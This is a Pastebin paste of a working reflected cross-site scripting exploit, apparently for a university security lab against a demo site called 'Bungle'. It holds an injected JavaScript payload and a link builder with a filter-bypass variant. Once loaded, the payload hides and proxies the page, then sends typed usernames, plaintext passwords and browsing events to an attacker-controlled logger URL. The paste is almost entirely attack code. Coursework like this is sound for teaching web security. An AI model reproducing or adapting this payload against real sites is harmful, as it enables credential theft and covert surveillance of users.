Advertisement
Guest User

Untitled

a guest
Nov 28th, 2017
181
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.21 KB | None | 0 0
  1. <meta charset="utf-8">
  2. <script src="http://ajax.googleapis.com/ajax/libs/jquery/2.0.3/jquery.min.js"></script>
  3. <script>
  4. function payload(attacker) {
  5.     var target = "http://trurl.cs.illinois.edu/";
  6.     function spy_get(spy_url) {
  7.         $.ajax({
  8.             url: spy_url,
  9.             type: "GET",
  10.             timeout: 1
  11.         });
  12.     }
  13.  
  14.     function log(data) {
  15.         console.log(attacker + "?" + $.param(data));
  16.         spy_get(attacker + "?" + $.param(data));
  17.     }
  18.  
  19.     function log_nav(dest) {
  20.         if (getUser() == null) {
  21.             log({event: "nav", url: target + dest});
  22.         } else {
  23.             log({event: "nav", user: getUser(), url: target + dest});
  24.         }
  25.     }
  26.  
  27.     function logLogout() {
  28.         log({event: "logout", user: getUser()});
  29.         log({event: "nav", url: target});
  30.     }
  31.  
  32.     function logLogin(username, password) {
  33.         log({event: "login", user: username, pass: password});
  34.         log({event: "nav", user: username, url: target});
  35.     }
  36.  
  37.     function logCreateAccount(username, password) {
  38.         log({event: "login", user: username, pass: password});
  39.         log({event: "nav", user: username, url: target});
  40.     }
  41.  
  42.     function getUser() {
  43.         var username;
  44.         if ($("#logged-in-user").length != 0) {
  45.             username = $("#logged-in-user").text();
  46.         } else {
  47.             username = null;
  48.         }
  49.         return username;
  50.     }
  51.  
  52.     function proxy(href) {
  53.         history.pushState(null, null, href);
  54.  
  55.         /* TODO fix back button functionallity */
  56.         $(window).on("popstate", function(e) {
  57.             e.preventDefault();
  58.             //history.back();
  59.             proxy("." + location.pathname + window.location.search);
  60.         });
  61.        
  62.         $("html").load(href, function(){
  63.             $("html").show();
  64.  
  65.             $("#bungle-lnk, #search-again-btn").click(function(e) {
  66.                 e.preventDefault();
  67.                 log_nav("");
  68.                 proxy("./");
  69.             });
  70.  
  71.             $("#search-btn").click(function(e) {
  72.                 e.preventDefault();
  73.                 var search = $("#query").val();
  74.                 log_nav("search?q=" + search);
  75.                 proxy("./search?q=" + search);
  76.             });
  77.  
  78.             $(".history-item").click(function(e) {
  79.                 var url = $(this).attr("href");
  80.                 e.preventDefault();
  81.                 log_nav(url);
  82.                 proxy(url);
  83.             });
  84.  
  85.             $("#log-in-btn").click(function(e) {
  86.                 e.preventDefault();
  87.                 var username = $("#username").val();
  88.                 var userpass = $("#userpass").val();
  89.                 logLogin(username, userpass);
  90.                 $.ajax({
  91.                     type: "POST",
  92.                     url: "http://trurl.cs.illinois.edu/login",
  93.                     dataType: "text",
  94.                     data: {
  95.                         username: username,
  96.                         password: userpass
  97.                     },
  98.                     success: function() {
  99.                         proxy("./");
  100.                     },
  101.                 });
  102.             });
  103.  
  104.             $("#new-account-btn").click(function(e) {
  105.                 e.preventDefault();
  106.                 var username = $("#username").val();
  107.                 var userpass = $("#userpass").val();
  108.                 logCreateAccount(username, userpass);
  109.                 $.ajax({
  110.                     type: "POST",
  111.                     url: "http://trurl.cs.illinois.edu/create",
  112.                     dataType: "text",
  113.                     data: {
  114.                         username: username,
  115.                         password: userpass
  116.                     },
  117.                     success: function() {
  118.                         logLogin(username, userpass);
  119.                         $.ajax({
  120.                             type: "POST",
  121.                             url: "http://trurl.cs.illinois.edu/login",
  122.                             dataType: "text",
  123.                             data: {
  124.                                 username: username,
  125.                                 password: userpass
  126.                             },
  127.                             success: function(){
  128.                                 proxy("./");
  129.                             }
  130.                         });
  131.                     }
  132.                 });
  133.             });
  134.  
  135.             $("#log-out-btn").click(function(e) {
  136.                 e.preventDefault();
  137.                 logLogout();
  138.                 $.ajax({
  139.                     type: "POST",
  140.                     url: "http://trurl.cs.illinois.edu/logout",
  141.                     success: function(){
  142.                         proxy("./");
  143.                     }
  144.                 });
  145.             });
  146.         });
  147.     }
  148.     $("html").hide();
  149.     proxy("./");
  150. }
  151.  
  152. function makeLink(xssdefense, target, attacker) {
  153.     if (xssdefense == 0) {
  154.         return target + "./search?xssdefense=" + xssdefense.toString() + "&q=" + encodeURIComponent("<script" + ">" + payload.toString() + ";payload(\"" + attacker + "\");<" + "/script>");
  155.     } else if (xssdefense == 1) {
  156.         return target + "./search?xssdefense=" + xssdefense.toString() + "&q=" + encodeURIComponent("<scrscriptipt" + ">" + payload.toString() + ";payload(\"" + attacker + "\");<" + "/scrscriptipt>");
  157.     }
  158. }
  159.  
  160. var xssdefense = 0;
  161. var target = "http://trurl.cs.illinois.edu/";
  162. var attacker = "http://127.0.0.1:31337/stolen";
  163.  
  164. $(function() {
  165.     var url = makeLink(xssdefense, target, attacker);
  166.     $("h3").html("<a target=\"run\" href=\"" + url + "\">Try Bungle!</a>");
  167. });
  168. </script>
  169.  
  170. <h3></h3>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement